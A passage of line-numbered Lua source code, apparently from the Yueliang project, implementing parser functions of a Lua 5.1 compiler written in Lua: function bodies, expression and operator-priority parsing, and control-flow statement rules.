3720 self:new_localvar(ls, self:str_checkname(ls), nparams)
3721 nparams = nparams + 1
3722 elseif c == "TK_DOTS" then -- param -> `...'
3723 luaX:next(ls)
3724 -- [[
3725 -- #if defined(LUA_COMPAT_VARARG)
3726 -- use `arg' as default name
3727 self:new_localvarliteral(ls, "arg", nparams)
3728 nparams = nparams + 1
3729 f.is_vararg = self.VARARG_HASARG + self.VARARG_NEEDSARG
3730 -- #endif
3731 --]]
3732 f.is_vararg = f.is_vararg + self.VARARG_ISVARARG
3733 else
3734 luaX:syntaxerror(ls, "<name> or "..self:LUA_QL("...").." expected")
3735 end
3736 until f.is_vararg ~= 0 or not self:testnext(ls, ",")
3737 end--if
3738 self:adjustlocalvars(ls, nparams)
3739 -- NOTE: the following works only when HASARG_MASK is 2!
3740 f.numparams = fs.nactvar - (f.is_vararg % self.HASARG_MASK)
3741 luaK:reserveregs(fs, fs.nactvar) -- reserve register for parameters
3742end
3743
3744------------------------------------------------------------------------
3745-- parse function declaration body
3746-- * used in simpleexp(), localfunc(), funcstat()
3747------------------------------------------------------------------------
3748function luaY:body(ls, e, needself, line)
3749 -- body -> '(' parlist ')' chunk END
3750 local new_fs = {} -- FuncState
3751 new_fs.upvalues = {}
3752 new_fs.actvar = {}
3753 self:open_func(ls, new_fs)
3754 new_fs.f.lineDefined = line
3755 self:checknext(ls, "(")
3756 if needself then
3757 self:new_localvarliteral(ls, "self", 0)
3758 self:adjustlocalvars(ls, 1)
3759 end
3760 self:parlist(ls)
3761 self:checknext(ls, ")")
3762 self:chunk(ls)
3763 new_fs.f.lastlinedefined = ls.linenumber
3764 self:check_match(ls, "TK_END", "TK_FUNCTION", line)
3765 self:close_func(ls)
3766 self:pushclosure(ls, new_fs, e)
3767end
3768
3769------------------------------------------------------------------------
3770-- parse a list of comma-separated expressions
3771-- * used is multiple locations
3772------------------------------------------------------------------------
3773function luaY:explist1(ls, v)
3774 -- explist1 -> expr { ',' expr }
3775 local n = 1 -- at least one expression
3776 self:expr(ls, v)
3777 while self:testnext(ls, ",") do
3778 luaK:exp2nextreg(ls.fs, v)
3779 self:expr(ls, v)
3780 n = n + 1
3781 end
3782 return n
3783end
3784
3785------------------------------------------------------------------------
3786-- parse the parameters of a function call
3787-- * contrast with parlist(), used in function declarations
3788-- * used in primaryexp()
3789------------------------------------------------------------------------
3790function luaY:funcargs(ls, f)
3791 local fs = ls.fs
3792 local args = {} -- expdesc
3793 local nparams
3794 local line = ls.linenumber
3795 local c = ls.t.token
3796 if c == "(" then -- funcargs -> '(' [ explist1 ] ')'
3797 if line ~= ls.lastline then
3798 luaX:syntaxerror(ls, "ambiguous syntax (function call x new statement)")
3799 end
3800 luaX:next(ls)
3801 if ls.t.token == ")" then -- arg list is empty?
3802 args.k = "VVOID"
3803 else
3804 self:explist1(ls, args)
3805 luaK:setmultret(fs, args)
3806 end
3807 self:check_match(ls, ")", "(", line)
3808 elseif c == "{" then -- funcargs -> constructor
3809 self:constructor(ls, args)
3810 elseif c == "TK_STRING" then -- funcargs -> STRING
3811 self:codestring(ls, args, ls.t.seminfo)
3812 luaX:next(ls) -- must use 'seminfo' before 'next'
3813 else
3814 luaX:syntaxerror(ls, "function arguments expected")
3815 return
3816 end
3817 assert(f.k == "VNONRELOC")
3818 local base = f.info -- base register for call
3819 if self:hasmultret(args.k) then
3820 nparams = self.LUA_MULTRET -- open call
3821 else
3822 if args.k ~= "VVOID" then
3823 luaK:exp2nextreg(fs, args) -- close last argument
3824 end
3825 nparams = fs.freereg - (base + 1)
3826 end
3827 self:init_exp(f, "VCALL", luaK:codeABC(fs, "OP_CALL", base, nparams + 1, 2))
3828 luaK:fixline(fs, line)
3829 fs.freereg = base + 1 -- call remove function and arguments and leaves
3830 -- (unless changed) one result
3831end
3832
3833--[[--------------------------------------------------------------------
3834-- Expression parsing
3835----------------------------------------------------------------------]]
3836
3837------------------------------------------------------------------------
3838-- parses an expression in parentheses or a single variable
3839-- * used in primaryexp()
3840------------------------------------------------------------------------
3841function luaY:prefixexp(ls, v)
3842 -- prefixexp -> NAME | '(' expr ')'
3843 local c = ls.t.token
3844 if c == "(" then
3845 local line = ls.linenumber
3846 luaX:next(ls)
3847 self:expr(ls, v)
3848 self:check_match(ls, ")", "(", line)
3849 luaK:dischargevars(ls.fs, v)
3850 elseif c == "TK_NAME" then
3851 self:singlevar(ls, v)
3852 else
3853 luaX:syntaxerror(ls, "unexpected symbol")
3854 end--if c
3855 return
3856end
3857
3858------------------------------------------------------------------------
3859-- parses a prefixexp (an expression in parentheses or a single variable)
3860-- or a function call specification
3861-- * used in simpleexp(), assignment(), exprstat()
3862------------------------------------------------------------------------
3863function luaY:primaryexp(ls, v)
3864 -- primaryexp ->
3865 -- prefixexp { '.' NAME | '[' exp ']' | ':' NAME funcargs | funcargs }
3866 local fs = ls.fs
3867 self:prefixexp(ls, v)
3868 while true do
3869 local c = ls.t.token
3870 if c == "." then -- field
3871 self:field(ls, v)
3872 elseif c == "[" then -- '[' exp1 ']'
3873 local key = {} -- expdesc
3874 luaK:exp2anyreg(fs, v)
3875 self:yindex(ls, key)
3876 luaK:indexed(fs, v, key)
3877 elseif c == ":" then -- ':' NAME funcargs
3878 local key = {} -- expdesc
3879 luaX:next(ls)
3880 self:checkname(ls, key)
3881 luaK:_self(fs, v, key)
3882 self:funcargs(ls, v)
3883 elseif c == "(" or c == "TK_STRING" or c == "{" then -- funcargs
3884 luaK:exp2nextreg(fs, v)
3885 self:funcargs(ls, v)
3886 else
3887 return
3888 end--if c
3889 end--while
3890end
3891
3892------------------------------------------------------------------------
3893-- parses general expression types, constants handled here
3894-- * used in subexpr()
3895------------------------------------------------------------------------
3896function luaY:simpleexp(ls, v)
3897 -- simpleexp -> NUMBER | STRING | NIL | TRUE | FALSE | ... |
3898 -- constructor | FUNCTION body | primaryexp
3899 local c = ls.t.token
3900 if c == "TK_NUMBER" then
3901 self:init_exp(v, "VKNUM", 0)
3902 v.nval = ls.t.seminfo
3903 elseif c == "TK_STRING" then
3904 self:codestring(ls, v, ls.t.seminfo)
3905 elseif c == "TK_NIL" then
3906 self:init_exp(v, "VNIL", 0)
3907 elseif c == "TK_TRUE" then
3908 self:init_exp(v, "VTRUE", 0)
3909 elseif c == "TK_FALSE" then
3910 self:init_exp(v, "VFALSE", 0)
3911 elseif c == "TK_DOTS" then -- vararg
3912 local fs = ls.fs
3913 self:check_condition(ls, fs.f.is_vararg ~= 0,
3914 "cannot use "..self:LUA_QL("...").." outside a vararg function");
3915 -- NOTE: the following substitutes for a bitop, but is value-specific
3916 local is_vararg = fs.f.is_vararg
3917 if is_vararg >= self.VARARG_NEEDSARG then
3918 fs.f.is_vararg = is_vararg - self.VARARG_NEEDSARG -- don't need 'arg'
3919 end
3920 self:init_exp(v, "VVARARG", luaK:codeABC(fs, "OP_VARARG", 0, 1, 0))
3921 elseif c == "{" then -- constructor
3922 self:constructor(ls, v)
3923 return
3924 elseif c == "TK_FUNCTION" then
3925 luaX:next(ls)
3926 self:body(ls, v, false, ls.linenumber)
3927 return
3928 else
3929 self:primaryexp(ls, v)
3930 return
3931 end--if c
3932 luaX:next(ls)
3933end
3934
3935------------------------------------------------------------------------
3936-- Translates unary operators tokens if found, otherwise returns
3937-- OPR_NOUNOPR. getunopr() and getbinopr() are used in subexpr().
3938-- * used in subexpr()
3939------------------------------------------------------------------------
3940function luaY:getunopr(op)
3941 if op == "TK_NOT" then
3942 return "OPR_NOT"
3943 elseif op == "-" then
3944 return "OPR_MINUS"
3945 elseif op == "#" then
3946 return "OPR_LEN"
3947 else
3948 return "OPR_NOUNOPR"
3949 end
3950end
3951
3952------------------------------------------------------------------------
3953-- Translates binary operator tokens if found, otherwise returns
3954-- OPR_NOBINOPR. Code generation uses OPR_* style tokens.
3955-- * used in subexpr()
3956------------------------------------------------------------------------
3957luaY.getbinopr_table = {
3958 ["+"] = "OPR_ADD",
3959 ["-"] = "OPR_SUB",
3960 ["*"] = "OPR_MUL",
3961 ["/"] = "OPR_DIV",
3962 ["%"] = "OPR_MOD",
3963 ["^"] = "OPR_POW",
3964 ["TK_CONCAT"] = "OPR_CONCAT",
3965 ["TK_NE"] = "OPR_NE",
3966 ["TK_EQ"] = "OPR_EQ",
3967 ["<"] = "OPR_LT",
3968 ["TK_LE"] = "OPR_LE",
3969 [">"] = "OPR_GT",
3970 ["TK_GE"] = "OPR_GE",
3971 ["TK_AND"] = "OPR_AND",
3972 ["TK_OR"] = "OPR_OR",
3973}
3974function luaY:getbinopr(op)
3975 local opr = self.getbinopr_table[op]
3976 if opr then return opr else return "OPR_NOBINOPR" end
3977end
3978
3979------------------------------------------------------------------------
3980-- the following priority table consists of pairs of left/right values
3981-- for binary operators (was a static const struct); grep for ORDER OPR
3982-- * the following struct is replaced:
3983-- static const struct {
3984-- lu_byte left; /* left priority for each binary operator */
3985-- lu_byte right; /* right priority */
3986-- } priority[] = { /* ORDER OPR */
3987------------------------------------------------------------------------
3988luaY.priority = {
3989 {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, -- `+' `-' `/' `%'
3990 {10, 9}, {5, 4}, -- power and concat (right associative)
3991 {3, 3}, {3, 3}, -- equality
3992 {3, 3}, {3, 3}, {3, 3}, {3, 3}, -- order
3993 {2, 2}, {1, 1} -- logical (and/or)
3994}
3995
3996luaY.UNARY_PRIORITY = 8 -- priority for unary operators
3997
3998------------------------------------------------------------------------
3999-- Parse subexpressions. Includes handling of unary operators and binary
4000-- operators. A subexpr is given the rhs priority level of the operator
4001-- immediately left of it, if any (limit is -1 if none,) and if a binop
4002-- is found, limit is compared with the lhs priority level of the binop
4003-- in order to determine which executes first.
4004------------------------------------------------------------------------
4005
4006------------------------------------------------------------------------
4007-- subexpr -> (simpleexp | unop subexpr) { binop subexpr }
4008-- where 'binop' is any binary operator with a priority higher than 'limit'
4009-- * for priority lookups with self.priority[], 1=left and 2=right
4010-- * recursively called
4011-- * used in expr()
4012------------------------------------------------------------------------
4013function luaY:subexpr(ls, v, limit)
4014 self:enterlevel(ls)
4015 local uop = self:getunopr(ls.t.token)
4016 if uop ~= "OPR_NOUNOPR" then
4017 luaX:next(ls)
4018 self:subexpr(ls, v, self.UNARY_PRIORITY)
4019 luaK:prefix(ls.fs, uop, v)
4020 else
4021 self:simpleexp(ls, v)
4022 end
4023 -- expand while operators have priorities higher than 'limit'
4024 local op = self:getbinopr(ls.t.token)
4025 while op ~= "OPR_NOBINOPR" and self.priority[luaK.BinOpr[op] + 1][1] > limit do
4026 local v2 = {} -- expdesc
4027 luaX:next(ls)
4028 luaK:infix(ls.fs, op, v)
4029 -- read sub-expression with higher priority
4030 local nextop = self:subexpr(ls, v2, self.priority[luaK.BinOpr[op] + 1][2])
4031 luaK:posfix(ls.fs, op, v, v2)
4032 op = nextop
4033 end
4034 self:leavelevel(ls)
4035 return op -- return first untreated operator
4036end
4037
4038------------------------------------------------------------------------
4039-- Expression parsing starts here. Function subexpr is entered with the
4040-- left operator (which is non-existent) priority of -1, which is lower
4041-- than all actual operators. Expr information is returned in parm v.
4042-- * used in multiple locations
4043------------------------------------------------------------------------
4044function luaY:expr(ls, v)
4045 self:subexpr(ls, v, 0)
4046end
4047
4048-- }====================================================================
4049
4050--[[--------------------------------------------------------------------
4051-- Rules for Statements
4052----------------------------------------------------------------------]]
4053
4054------------------------------------------------------------------------
4055-- checks next token, used as a look-ahead
4056-- * returns boolean instead of 0|1
4057-- * used in retstat(), chunk()
4058------------------------------------------------------------------------
4059function luaY:block_follow(token)
4060 if token == "TK_ELSE" or token == "TK_ELSEIF" or token == "TK_END"
4061 or token == "TK_UNTIL" or token == "TK_EOS" then
4062 return true
4063 else
4064 return false
4065 end
4066end
4067
4068------------------------------------------------------------------------
4069-- parse a code block or unit
4070-- * used in multiple functions
4071------------------------------------------------------------------------
4072function luaY:block(ls)
4073 -- block -> chunk
4074 local fs = ls.fs
4075 local bl = {} -- BlockCnt
4076 self:enterblock(fs, bl, false)
4077 self:chunk(ls)
4078 assert(bl.breaklist == luaK.NO_JUMP)
4079 self:leaveblock(fs)
4080end
4081
4082------------------------------------------------------------------------
4083-- structure to chain all variables in the left-hand side of an
4084-- assignment
4085-- struct LHS_assign:
4086-- prev -- (table: struct LHS_assign)
4087-- v -- variable (global, local, upvalue, or indexed) (table: expdesc)
4088------------------------------------------------------------------------
4089
4090------------------------------------------------------------------------
4091-- check whether, in an assignment to a local variable, the local variable
4092-- is needed in a previous assignment (to a table). If so, save original
4093-- local value in a safe place and use this safe copy in the previous
4094-- assignment.
4095-- * used in assignment()
4096------------------------------------------------------------------------
4097function luaY:check_conflict(ls, lh, v)
4098 local fs = ls.fs
4099 local extra = fs.freereg -- eventual position to save local variable
4100 local conflict = false
4101 while lh do
4102 if lh.v.k == "VINDEXED" then
4103 if lh.v.info == v.info then -- conflict?
4104 conflict = true
4105 lh.v.info = extra -- previous assignment will use safe copy
4106 end
4107 if lh.v.aux == v.info then -- conflict?
4108 conflict = true
4109 lh.v.aux = extra -- previous assignment will use safe copy
4110 end
4111 end
4112 lh = lh.prev
4113 end
4114 if conflict then
4115 luaK:codeABC(fs, "OP_MOVE", fs.freereg, v.info, 0) -- make copy
4116 luaK:reserveregs(fs, 1)
4117 end
4118end
4119
4120------------------------------------------------------------------------
4121-- parse a variable assignment sequence
4122-- * recursively called
4123-- * used in exprstat()
4124------------------------------------------------------------------------
4125function luaY:assignment(ls, lh, nvars)
4126 local e = {} -- expdesc
4127 -- test was: VLOCAL <= lh->v.k && lh->v.k <= VINDEXED
4128 local c = lh.v.k
4129 self:check_condition(ls, c == "VLOCAL" or c == "VUPVAL" or c == "VGLOBAL"
4130 or c == "VINDEXED", "syntax error")
4131 if self:testnext(ls, ",") then -- assignment -> ',' primaryexp assignment
4132 local nv = {} -- LHS_assign
4133 nv.v = {}
4134 nv.prev = lh
4135 self:primaryexp(ls, nv.v)
4136 if nv.v.k == "VLOCAL" then
4137 self:check_conflict(ls, lh, nv.v)
4138 end
4139 self:checklimit(ls.fs, nvars, self.LUAI_MAXCCALLS - ls.L.nCcalls,
4140 "variables in assignment")
4141 self:assignment(ls, nv, nvars + 1)
4142 else -- assignment -> '=' explist1
4143 self:checknext(ls, "=")
4144 local nexps = self:explist1(ls, e)
4145 if nexps ~= nvars then
4146 self:adjust_assign(ls, nvars, nexps, e)
4147 if nexps > nvars then
4148 ls.fs.freereg = ls.fs.freereg - (nexps - nvars) -- remove extra values
4149 end
4150 else
4151 luaK:setoneret(ls.fs, e) -- close last expression
4152 luaK:storevar(ls.fs, lh.v, e)
4153 return -- avoid default
4154 end
4155 end
4156 self:init_exp(e, "VNONRELOC", ls.fs.freereg - 1) -- default assignment
4157 luaK:storevar(ls.fs, lh.v, e)
4158end
4159
4160------------------------------------------------------------------------
4161-- parse condition in a repeat statement or an if control structure
4162-- * used in repeatstat(), test_then_block()
4163------------------------------------------------------------------------
4164function luaY:cond(ls)
4165 -- cond -> exp
4166 local v = {} -- expdesc
4167 self:expr(ls, v) -- read condition
4168 if v.k == "VNIL" then v.k = "VFALSE" end -- 'falses' are all equal here
4169 luaK:goiftrue(ls.fs, v)
4170 return v.f
4171end
4172
4173------------------------------------------------------------------------
4174-- parse a break statement
4175-- * used in statements()
4176------------------------------------------------------------------------
4177function luaY:breakstat(ls)
4178 -- stat -> BREAK
4179 local fs = ls.fs
4180 local bl = fs.bl
4181 local upval = false
4182 while bl and not bl.isbreakable do
4183 if bl.upval then upval = true end
4184 bl = bl.previous
4185 end
4186 if not bl then
4187 luaX:syntaxerror(ls, "no loop to break")
4188 end
4189 if upval then
4190 luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
4191 end
4192 bl.breaklist = luaK:concat(fs, bl.breaklist, luaK:jump(fs))
4193end
4194
4195------------------------------------------------------------------------
4196-- parse a while-do control structure, body processed by block()
4197-- * with dynamic array sizes, MAXEXPWHILE + EXTRAEXP limits imposed by
4198-- the function's implementation can be removed
4199-- * used in statements()
4200------------------------------------------------------------------------
4201function luaY:whilestat(ls, line)
4202 -- whilestat -> WHILE cond DO block END
4203 local fs = ls.fs
4204 local bl = {} -- BlockCnt
4205 luaX:next(ls) -- skip WHILE
4206 local whileinit = luaK:getlabel(fs)
4207 local condexit = self:cond(ls)
4208 self:enterblock(fs, bl, true)
4209 self:checknext(ls, "TK_DO")
4210 self:block(ls)
4211 luaK:patchlist(fs, luaK:jump(fs), whileinit)
4212 self:check_match(ls, "TK_END", "TK_WHILE", line)
4213 self:leaveblock(fs)
4214 luaK:patchtohere(fs, condexit) -- false conditions finish the loop
4215end
4216
4217------------------------------------------------------------------------
4218-- parse a repeat-until control structure, body parsed by chunk()
4219-- * used in statements()
4220------------------------------------------------------------------------
4221function luaY:repeatstat(ls, line)
4222 -- repeatstat -> REPEAT block UNTIL cond
4223 local fs = ls.fs
4224 local repeat_init = luaK:getlabel(fs)
4225 local bl1, bl2 = {}, {} -- BlockCnt
4226 self:enterblock(fs, bl1, true) -- loop block
4227 self:enterblock(fs, bl2, false) -- scope block
4228 luaX:next(ls) -- skip REPEAT
4229 self:chunk(ls)
4230 self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line)
4231 local condexit = self:cond(ls) -- read condition (inside scope block)
4232 if not bl2.upval then -- no upvalues?
4233 self:leaveblock(fs) -- finish scope
4234 luaK:patchlist(ls.fs, condexit, repeat_init) -- close the loop
4235 else -- complete semantics when there are upvalues
4236 self:breakstat(ls) -- if condition then break
4237 luaK:patchtohere(ls.fs, condexit) -- else...
4238 self:leaveblock(fs) -- finish scope...
4239 luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init) -- and repeat
4240 end
4241 self:leaveblock(fs) -- finish loop
4242end
4243
4244------------------------------------------------------------------------
4245-- parse the single expressions needed in numerical for loops
4246-- * used in fornum()
4247------------------------------------------------------------------------
4248function luaY:exp1(ls)
4249 local e = {} -- expdesc
4250 self:expr(ls, e)
4251 local k = e.k
4252 luaK:exp2nextreg(ls.fs, e)
4253 return k
4254end
4255
4256------------------------------------------------------------------------
4257-- parse a for loop body for both versions of the for loop
4258-- * used in fornum(), forlist()
4259------------------------------------------------------------------------
4260function luaY:forbody(ls, base, line, nvars, isnum)
4261 -- forbody -> DO block
4262 local bl = {} -- BlockCnt
4263 local fs = ls.fs
4264 self:adjustlocalvars(ls, 3) -- control variables
4265 self:checknext(ls, "TK_DO")
4266 local prep = isnum and luaK:codeAsBx(fs, "OP_FORPREP", base, luaK.NO_JUMP)
4267 or luaK:jump(fs)
4268 self:enterblock(fs, bl, false) -- scope for declared variables
4269 self:adjustlocalvars(ls, nvars)
4270 luaK:reserveregs(fs, nvars)
4271 self:block(ls)
4272 self:leaveblock(fs) -- end of scope for declared variables
4273 luaK:patchtohere(fs, prep)
4274 local endfor = isnum and luaK:codeAsBx(fs, "OP_FORLOOP", base, luaK.NO_JUMP)
4275 or luaK:codeABC(fs, "OP_TFORLOOP", base, 0, nvars)
4276 luaK:fixline(fs, line) -- pretend that `OP_FOR' starts the loop
4277 luaK:patchlist(fs, isnum and endfor or luaK:jump(fs), prep + 1)
4278end
4279
4280------------------------------------------------------------------------
4281-- parse a numerical for loop, calls forbody()
4282-- * used in forstat()
4283------------------------------------------------------------------------
4284function luaY:fornum(ls, varname, line)
4285 -- fornum -> NAME = exp1,exp1[,exp1] forbody
4286 local fs = ls.fs
4287 local base = fs.freereg
4288 self:new_localvarliteral(ls, "(for index)", 0)
4289 self:new_localvarliteral(ls, "(for limit)", 1)
4290 self:new_localvarliteral(ls, "(for step)", 2)
4291 self:new_localvar(ls, varname, 3)
4292 self:checknext(ls, '=')
4293 self:exp1(ls) -- initial value
4294 self:checknext(ls, ",")
4295 self:exp1(ls) -- limit
4296 if self:testnext(ls, ",") then
4297 self:exp1(ls) -- optional step
4298 else -- default step = 1
4299 luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1))
4300 luaK:reserveregs(fs, 1)
4301 end
4302 self:forbody(ls, base, line, 1, true)
4303end
4304
4305------------------------------------------------------------------------
4306-- parse a generic for loop, calls forbody()
4307-- * used in forstat()
4308------------------------------------------------------------------------
4309function luaY:forlist(ls, indexname)
4310 -- forlist -> NAME {,NAME} IN explist1 forbody
4311 local fs = ls.fs
4312 local e = {} -- expdesc
4313 local nvars = 0
4314 local base = fs.freereg
4315 -- create control variables
4316 self:new_localvarliteral(ls, "(for generator)", nvars)
4317 nvars = nvars + 1
4318 self:new_localvarliteral(ls, "(for state)", nvars)
4319 nvars = nvars + 1
4320 self:new_localvarliteral(ls, "(for control)", nvars)
4321 nvars = nvars + 1
4322 -- create declared variables
4323 self:new_localvar(ls, indexname, nvars)
4324 nvars = nvars + 1
4325 while self:testnext(ls, ",") do
4326 self:new_localvar(ls, self:str_checkname(ls), nvars)
4327 nvars = nvars + 1
4328 end
4329 self:checknext(ls, "TK_IN")
4330 local line = ls.linenumber
4331 self:adjust_assign(ls, 3, self:explist1(ls, e), e)
4332 luaK:checkstack(fs, 3) -- extra space to call generator
4333 self:forbody(ls, base, line, nvars - 3, false)
4334end
4335
4336------------------------------------------------------------------------
4337-- initial parsing for a for loop, calls fornum() or forlist()
4338-- * used in statements()
4339------------------------------------------------------------------------
4340function luaY:forstat(ls, line)
4341 -- forstat -> FOR (fornum | forlist) END
4342 local fs = ls.fs
4343 local bl = {} -- BlockCnt
4344 self:enterblock(fs, bl, true) -- scope for loop and control variables
4345 luaX:next(ls) -- skip `for'
4346 local varname = self:str_checkname(ls) -- first variable name
4347 local c = ls.t.token
4348 if c == "=" then
4349 self:fornum(ls, varname, line)
4350 elseif c == "," or c == "TK_IN" then
4351 self:forlist(ls, varname)
4352 else
4353 luaX:syntaxerror(ls, self:LUA_QL("=").." or "..self:LUA_QL("in").." expected")
4354 end
4355 self:check_match(ls, "TK_END", "TK_FOR", line)
4356 self:leaveblock(fs) -- loop scope (`break' jumps to this point)
4357end
4358
4359------------------------------------------------------------------------
4360-- parse part of an if control structure, including the condition
4361-- * used in ifstat()
4362------------------------------------------------------------------------
4363function luaY:test_then_block(ls)
4364 -- test_then_block -> [IF | ELSEIF] cond THEN block
4365 luaX:next(ls) -- skip IF or ELSEIF
4366 local condexit = self:cond(ls)
4367 self:checknext(ls, "TK_THEN")
4368 self:block(ls) -- `then' part
4369 return condexit
4370end
4371
4372------------------------------------------------------------------------
4373-- parse an if control structure
4374-- * used in statements()
4375------------------------------------------------------------------------
4376function luaY:ifstat(ls, line)
4377 -- ifstat -> IF cond THEN block {ELSEIF cond THEN block} [ELSE block] END
4378 local fs = ls.fs
4379 local escapelist = luaK.NO_JUMP
4380 local flist = self:test_then_block(ls) -- IF cond THEN block
4381 while ls.t.token == "TK_ELSEIF" do
4382 escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
4383 luaK:patchtohere(fs, flist)
4384 flist = self:test_then_block(ls) -- ELSEIF cond THEN block
4385 end
4386 if ls.t.token == "TK_ELSE" then
4387 escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
4388 luaK:patchtohere(fs, flist)
4389 luaX:next(ls) -- skip ELSE (after patch, for correct line info)
4390 self:block(ls) -- 'else' part
4391 else
4392 escapelist = luaK:concat(fs, escapelist, flist)
4393 end
4394 luaK:patchtohere(fs, escapelist)
4395 self:check_match(ls, "TK_END", "TK_IF", line)
4396end
4397
4398------------------------------------------------------------------------
4399-- parse a local function statement
4400-- * used in statements()
4401------------------------------------------------------------------------
4402function luaY:localfunc(ls)
4403 local v, b = {}, {} -- expdesc
4404 local fs = ls.fs
4405 self:new_localvar(ls, self:str_checkname(ls), 0)
4406 self:init_exp(v, "VLOCAL", fs.freereg)
4407 luaK:reserveregs(fs, 1)
4408 self:adjustlocalvars(ls, 1)
4409 self:body(ls, b, false, ls.linenumber)
4410 luaK:storevar(fs, v, b)
4411 -- debug information will only see the variable after this point!
4412 self:getlocvar(fs, fs.nactvar - 1).startpc = fs.pc
4413end
4414
4415------------------------------------------------------------------------
4416-- parse a local variable declaration statement
4417-- * used in statements()
4418------------------------------------------------------------------------
4419function luaY:localstat(ls)
4420 -- stat -> LOCAL NAME {',' NAME} ['=' explist1]
4421 local nvars = 0
4422 local nexps
4423 local e = {} -- expdesc
4424 repeat
4425 self:new_localvar(ls, self:str_checkname(ls), nvars)
4426 nvars = nvars + 1
4427 until not self:testnext(ls, ",")
4428 if self:testnext(ls, "=") then
4429 nexps = self:explist1(ls, e)
4430 else
4431 e.k = "VVOID"
4432 nexps = 0
4433 end
4434 self:adjust_assign(ls, nvars, nexps, e)
4435 self:adjustlocalvars(ls, nvars)
4436end
4437
4438------------------------------------------------------------------------
4439-- parse a function name specification
4440-- * used in funcstat()
4441------------------------------------------------------------------------
4442function luaY:funcname(ls, v)
4443 -- funcname -> NAME {field} [':' NAME]
4444 local needself = false
4445 self:singlevar(ls, v)
4446 while ls.t.token == "." do
4447 self:field(ls, v)
4448 end
4449 if ls.t.token == ":" then
4450 needself = true
4451 self:field(ls, v)
4452 end
4453 return needself
4454end
4455
4456------------------------------------------------------------------------
4457-- parse a function statement
4458-- * used in statements()
4459------------------------------------------------------------------------
4460function luaY:funcstat(ls, line)
4461 -- funcstat -> FUNCTION funcname body
4462 local v, b = {}, {} -- expdesc
4463 luaX:next(ls) -- skip FUNCTION
4464 local needself = self:funcname(ls, v)
4465 self:body(ls, b, needself, line)
4466 luaK:storevar(ls.fs, v, b)
4467 luaK:fixline(ls.fs, line) -- definition 'happens' in the first line
4468end
4469
4470------------------------------------------------------------------------
4471-- parse a function call with no returns or an assignment statement
4472-- * used in statements()
4473------------------------------------------------------------------------
4474function luaY:exprstat(ls)
4475 -- stat -> func | assignment
4476 local fs = ls.fs
4477 local v = {} -- LHS_assign
4478 v.v = {}
4479 self:primaryexp(ls, v.v)
4480 if v.v.k == "VCALL" then -- stat -> func
4481 luaP:SETARG_C(luaK:getcode(fs, v.v), 1) -- call statement uses no results
4482 else -- stat -> assignment
4483 v.prev = nil
4484 self:assignment(ls, v, 1)
4485 end
4486end
4487
4488------------------------------------------------------------------------
4489-- parse a return statement
4490-- * used in statements()
4491------------------------------------------------------------------------
4492function luaY:retstat(ls)
4493 -- stat -> RETURN explist
4494 local fs = ls.fs
4495 local e = {} -- expdesc
4496 local first, nret -- registers with returned values
4497 luaX:next(ls) -- skip RETURN
4498 if self:block_follow(ls.t.token) or ls.t.token == ";" then
4499 first, nret = 0, 0 -- return no values
4500 else
4501 nret = self:explist1(ls, e) -- optional return values
4502 if self:hasmultret(e.k) then
4503 luaK:setmultret(fs, e)
4504 if e.k == "VCALL" and nret == 1 then -- tail call?
4505 luaP:SET_OPCODE(luaK:getcode(fs, e), "OP_TAILCALL")
4506 assert(luaP:GETARG_A(luaK:getcode(fs, e)) == fs.nactvar)
4507 end
4508 first = fs.nactvar
4509 nret = self.LUA_MULTRET -- return all values
4510 else
4511 if nret == 1 then -- only one single value?
4512 first = luaK:exp2anyreg(fs, e)
4513 else
4514 luaK:exp2nextreg(fs, e) -- values must go to the 'stack'
4515 first = fs.nactvar -- return all 'active' values
4516 assert(nret == fs.freereg - first)
4517 end
4518 end--if
4519 end--if
4520 luaK:ret(fs, first, nret)
4521end
4522
4523------------------------------------------------------------------------
4524-- initial parsing for statements, calls a lot of functions
4525-- * returns boolean instead of 0|1
4526-- * used in chunk()
4527------------------------------------------------------------------------
4528function luaY:statement(ls)
4529 local line = ls.linenumber -- may be needed for error messages
4530 local c = ls.t.token
4531 if c == "TK_IF" then -- stat -> ifstat
4532 self:ifstat(ls, line)
4533 return false
4534 elseif c == "TK_WHILE" then -- stat -> whilestat
4535 self:whilestat(ls, line)
4536 return false
4537 elseif c == "TK_DO" then -- stat -> DO block END
4538 luaX:next(ls) -- skip DO
4539 self:block(ls)
4540 self:check_match(ls, "TK_END", "TK_DO", line)
4541 return false
4542 elseif c == "TK_FOR" then -- stat -> forstat
4543 self:forstat(ls, line)
4544 return false
4545 elseif c == "TK_REPEAT" then -- stat -> repeatstat
4546 self:repeatstat(ls, line)
4547 return false
4548 elseif c == "TK_FUNCTION" then -- stat -> funcstat
4549 self:funcstat(ls, line)
4550 return false
4551 elseif c == "TK_LOCAL" then -- stat -> localstat
4552 luaX:next(ls) -- skip LOCAL
4553 if self:testnext(ls, "TK_FUNCTION") then -- local function?
4554 self:localfunc(ls)
4555 else
4556 self:localstat(ls)
4557 end
4558 return false
4559 elseif c == "TK_RETURN" then -- stat -> retstat
4560 self:retstat(ls)
4561 return true -- must be last statement
4562 elseif c == "TK_BREAK" then -- stat -> breakstat
4563 luaX:next(ls) -- skip BREAK
4564 self:breakstat(ls)
4565 return true -- must be last statement
4566 else
4567 self:exprstat(ls)
4568 return false -- to avoid warnings
4569 end--if c
4570end
4571
4572------------------------------------------------------------------------
4573-- parse a chunk, which consists of a bunch of statements
4574-- * used in parser(), body(), block(), repeatstat()
4575------------------------------------------------------------------------
4576function luaY:chunk(ls)
4577 -- chunk -> { stat [';'] }
4578 local islast = false
4579 self:enterlevel(ls)
4580 while not islast and not self:block_follow(ls.t.token) do
4581 islast = self:statement(ls)
4582 self:testnext(ls, ";")
4583 assert(ls.fs.f.maxstacksize >= ls.fs.freereg and
4584 ls.fs.freereg >= ls.fs.nactvar)
4585 ls.fs.freereg = ls.fs.nactvar -- free registers
4586 end
4587 self:leavelevel(ls)
4588end
4589
4590-- }======================================================================
4591
4592--[[--------------------------------------------------------------------
4593
4594 llex.lua
4595 Lua lexical analyzer in Lua
4596 This file is part of Yueliang.
4597
4598 Copyright (c) 2005-2006 Kein-Hong Man <khman@users.sf.net>
4599 The COPYRIGHT file describes the conditions
4600 under which this software may be distributed.
4601
4602 See the ChangeLog for more information.
4603
